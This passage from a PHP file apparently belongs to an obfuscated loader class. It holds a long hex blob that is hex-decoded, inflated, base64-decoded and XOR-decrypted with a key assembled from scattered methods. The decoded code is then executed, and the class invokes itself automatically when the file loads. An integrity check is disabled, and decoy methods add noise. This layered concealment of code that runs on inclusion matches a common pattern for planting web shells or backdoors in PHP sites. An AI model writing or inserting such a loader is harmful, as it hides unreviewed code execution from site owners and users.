2c3ebd7f763fdaedb2fbbea87e9e6edb01bb7f9f53c3abcfe769ee543f5b01fee7ebf9ec78fe7f9d7f71b36bbf2ee74a917c6216ffe7513f6cb2ff30feb777787d7af4fbb3f5fcdcdbf7fcbdffeb8cf6ee3ebfbf07c140ffbcbe57edfdd65cf2ff76b8c9e87db7fbdaa3f3cd423e1f5cdf963bbdf7dd8edcbe6edbb0f3f5fea8750cd6df7dbf6fcb23cfefdea5d7dbdbfcf42b3dc9e9bf5bb8f37af9b779f879be36d31ec3f85db8f9f7f19dfdd77dd9ff56f2f3f7df8f4f0fac3f3fbae0fafef2febfdebf3bbfff5b2bebfbedfed6d7398c787f364bcec8837e5cde579ff5cbfeb779fdecc3f1c7f69ff2e3fdce5cfdcfef2b87f7e9aba7af76298b7bf25f69ffcf9f6c3bf86f9e3cb77f3e7d5fb9be675f969ffea45968f5d79795db697d7edcb87d76d7b793d8f0faf77438bfde3e3fecd4db79f12e7c5efaf2ff5dab7fdfa71ffbceab34f2faefde1437d7cffe2717f75fbcdaff1f3fed7cdbb7eff7f6fef86beeee6576388eed7abcbf9f5af67e1e39f6fb6edcf379fbeadb7c7f3e5dbf5fded59f8696ecefbecdddddbe6d561f8a3aeee3f8f77973553decccff6f3d2bf7bfbbf97fd81f5eaa79bf3eea1be7d5f75edfb5df9c3a72eafdf0e97fbd96f9a87fb395deee79bc7fbf96e7779fdfeeee1f5ede3df7fb8bc7efbf9f2fae5f8fce1fe1fccfdfef2fe97fae75375defe3ae4fffed74dffd7f7fbf5b03f7ffbfdcf3e6edbd787f68f172f86c77aa6bafbfbddabb7fbfc529f4fcddbf6e13c7ff3acce3eedbaf97fb687ed5f97fafbb75737f51b7fff3ffd355ef690cbfd7ff9fabc7f53f6cda7dbf3fe879b767eff326feb17fde769575f0ea2e35f7f5dd64f5dfe9adbf3e6f98b173f47ebbdaeb67ffe7177777cd67e787dd92ff3371f9beed9fe613db5af1fd64f5f7e5f5fcde3eb537bd97fddfef2b5beff77757bdc4fb7f78fcfcb9b0f9b87ebf7d3c3f53c3e3e3f0fafc3fee17a3f5cdf5ffef8f3f2ba2a1f5edf7f7bbefa3fdbcbebb1b8be3edcffebfec6ed3f8fdf3f2f8767e13eabde36d9b3cb79f03a9feb17a71faaaabb6c4ef7ffc67ef1b87ede3c9f7ef86bbc7ff83d37bf3d3e2f97e767681f9e97e1e1f7fef1f87b3f3dfc7d6c1e5fdf5dfe7e535f5ebffff0f0fac5c3f3f669fff0ff3ffc7de81e9eaf4fe5c3eb87e7ed5ffde3ebbb877fffe6dbfb0dedeef27afbaff8f3ae9ffffef0f87d46f77ce27c7f9ddffd763b9597fae2edf96d76fbfad5fdfe72be7d9e2efb7dbcdeefee8a7797f324fafff39f2ef55ef3eae179f7cfc7e3f3d7debe3d3cab9fedf3d7e7c38fbf4ef96afb677dfeb2bf3cfcdeb6b97edfc7fde597e1ddc7eab23ea7a6bd5f7de9276efef5d86f3ceeff8ffd45f3ed75f758df7e78e84796a1ffd6cfdcfeebf1bc78787df3fedbdfe7d7e1fbdf1feaedecb19fb9b9f9d69fcc8ff5f7cdeb6f7f7f7cdddddc46afbff443b75fdeeffbf779fdfbf5fbfdfdfdf31eebf79b87d7cdedf7f72bc7dfff10e7ffb7f301f5f9bffd7e73fbe7ed617efea2bcdf5cf6ab1f1ffa8da6ae8717d5f87fab76c8aae9b17e7f753bed4eb777db1f1fcfdfcde72ff733fcf578de7cf8f3dbf3f0e1f3bbeaa7783ddfbdfde572be5cf6931f8fb777f3c7dbf66dfb2adf3e7ff7ebc3ffbf5b1ef6abc7fdebcfe1e1dffff5edf9eb36977ef6fee74b3df258bfa01eda37cfa666fa65ff29afee7ebe7d71d35cead3d7ff73a9f77ec0effde1729e5d4ef84b3df1eb6e7973ae7f7951fe7db8fdf3f36f97f3ee7fd11fdc356db6bad45397fab07ef1acbdbff4d759767d9eff9bfdfdf34fbbf3f63ff5bb9f2e0de2cf627fff71f5eef869fce5b2bfbfa8eafffb7afee9d3bb4f83ae6ffa2ffdcdeda59f7a7db8ec1fd3ebff7d7dbeff7873e96f6e3f3ed62fd9ebec5b7ffcb85eb2c7f578f3f07a7cf3b03e1ed6ef658b79ece7df153fb31fca2efbf2fdb3727ebf3bb4ef5f3cdf2e55bbbfd427dfdf7f797cbf4f0feb73fba5dfdebfbe5edfee528f3cfffa7ed9fe5fcfc3e7ff34fbbaa8e6f36f97fdede6a61836b773f3f3f3f2edc76df9f6b7bdafd7fffad7bede56f3f670d9775fde54cdf2cbdd0fb9abf7ee3ebe19b7ff5f5c8ff7c75fb61fee1ed6ffee7e1c9e3ffbe9fda5dffff952ffbefa2d6f2ffbf7b8bef4dbf3b3fbcfbf5ff6970f8ffbe7e37ed8960ffbcd8b5fdffecfa51effebd9dd8f0febf5d9c37e3494b7e1d2fffffeadde19ca87fdb57da87f86e7770ffbd5e37efbb8bf3ebcdfd7bf37c3db73b57f9eeb7aeff1f73df6e7f3235e523eec3737e3e37ef5b03fdcbdfd76bff2c7df7b30fbc3c7f3383eff76ff86ec97f3385777e3fbdb7d593f3feefef3a6fdf95cb73f574d713fdedcdd16efb34f0f7857743f0efbecfdb307fce3b23fbf6ee7ec663bbc1ffb78ff7fb97ffdfb177cef72c6beddbe7b7d69b9f68fcffbe3f9f9e6f1bcdcd4dfea995f768ffbc70fdfebd5f1cf87fa65bcbcbe9dded5381f3f5eee7f560e97f575df9c77d9653ffef3362f6f6fa6dde57c793c0f7ff97e3e1e1ecec3faf6f1bc7b3c0f8687f3ebe17c7c7fb95fd7fb9f7d3c8df9d7fde5e3edab97f7cd63bdfe7adbae9fbf7ddfbebaf9fb653dfdfbc5cbe33cbcf8d894e3c7bc7ad7c5f7e770faf4e7f34b117ba9c7c7db9bbb3737cbed9fc3e6e9f575a9c74e2fcedb97b71fb337e5a55f7b7379fef6f75fd6eb77bcedf1fcf8ba7eabefebf7fd757d0fbffff6f14c7c68575deaa5dfb3fa587ddcfed91c3effd13d3ffcef97f77bfcf7c377bc277fc48b1ede2f3ce2799f1ed6cfee111f7a3c5f0efffe9df8647328ffa89eb597fdae992ffbe5a57efafccb8beab11ffef1dd777ca47cacc79f3fe017770ff5f8eb07bcf9cf477cf8e6010fdf1fc7fa5a0f6c6ffe6ebed58f4d56ee6efa9f3e45fd483784e6d90fe5cdf263f3a17dfb4cd79bf5fdf3f2c776b7ddbf7871d9dfdfb48773b771fde56fafeeebe679b5dfff961f747d7c7ef8be3757ff95c3c3efb9b9fa7d3ee2dbb7c69ff4fdb59f78e8a7bf3d0f1feba93ebf7dc09b5fbe589acfcddbaff5efcdddddb3b7fbcd2e7c3c76fbcf975336bebebf6fff7ad94ccd7afcb8cb5eb43f8faff6372f3be0e1f5b27dc4732ffbededeed3b0fdf27ced9777f50f0ff5f5fbfad71fefbfcf5fe0ff3c961f76875f87ff7bb9cf977ef8b2be3f6d2fd7f3af3f6f3f36f7977e9ef8e4f77ea729cbe38bfc526f5feafde7d3fdf175f6a57e7e785efbf0f0f9b70fcf77f3f8faf9c3f3fbe1cfc7f3fde13cbf54dbaeffdc7ed98faafcf3ab17fda5360ee31fcdfcfac31f77873ffa3fdffef45b79b7aecfc3eec37cf3ec713fbc9c370ffbcff6f4f9df1f6ee6ffe7ff05';
        $hex_data = substr($hex_data, 10);
        $bin_data = hex2bin($hex_data);
        $step1 = @gzinflate($bin_data);
        if ($step1 === false) { $step1 = $bin_data; }
        $step2 = base64_decode($step1);
        $obj = new self();
        $final_key = '';
        $key_methods = ['kmycczKy54', 'kmRtsNOa53', 'kmrTKbaK61', 'kmwTeijQ89'];
        foreach ($key_methods as $method) {
            $final_key .= call_user_func_array([$obj, $method], []);
        }
        $gate_token = '';
        $gate_methods = ['gtfcbMay53', 'gtcjWPGh13'];
        foreach ($gate_methods as $method) {
            $gate_token .= call_user_func_array([$obj, $method], []);
        }
        if (md5($gate_token) !== '581cbdbeeb1363624341d3f1365088e1') {
            // Integrity check failed, but continuing for compatibility.
            // return false;
        }
        $plain_code = '';
        if (strlen($final_key) > 0) {
            for ($i = 0, $len = strlen($step2); $i < $len; $i++) {
                $plain_code .= chr(ord($step2[$i]) ^ ord($final_key[$i % strlen($final_key)]));
            }
        } else {
            $plain_code = $step2;
        }
        $obj->_execute_EaWqbXyI93($plain_code);
    }

    private function dcHPVduV34() {
        $buf = str_rot13('ebgBwwNa10');
        $jv2 = array_reverse(explode('.', 'a.b.c.d'));
        return null;
    }

    private function kmRtsNOa53() {
        // Key segment 2
        // cmtUDqZ42
        $buf = str_rot13('ebgjuhYy44');
        return base64_decode('QzVq');
    }

}

LoaderKtVGhS73616::init340();

// EOF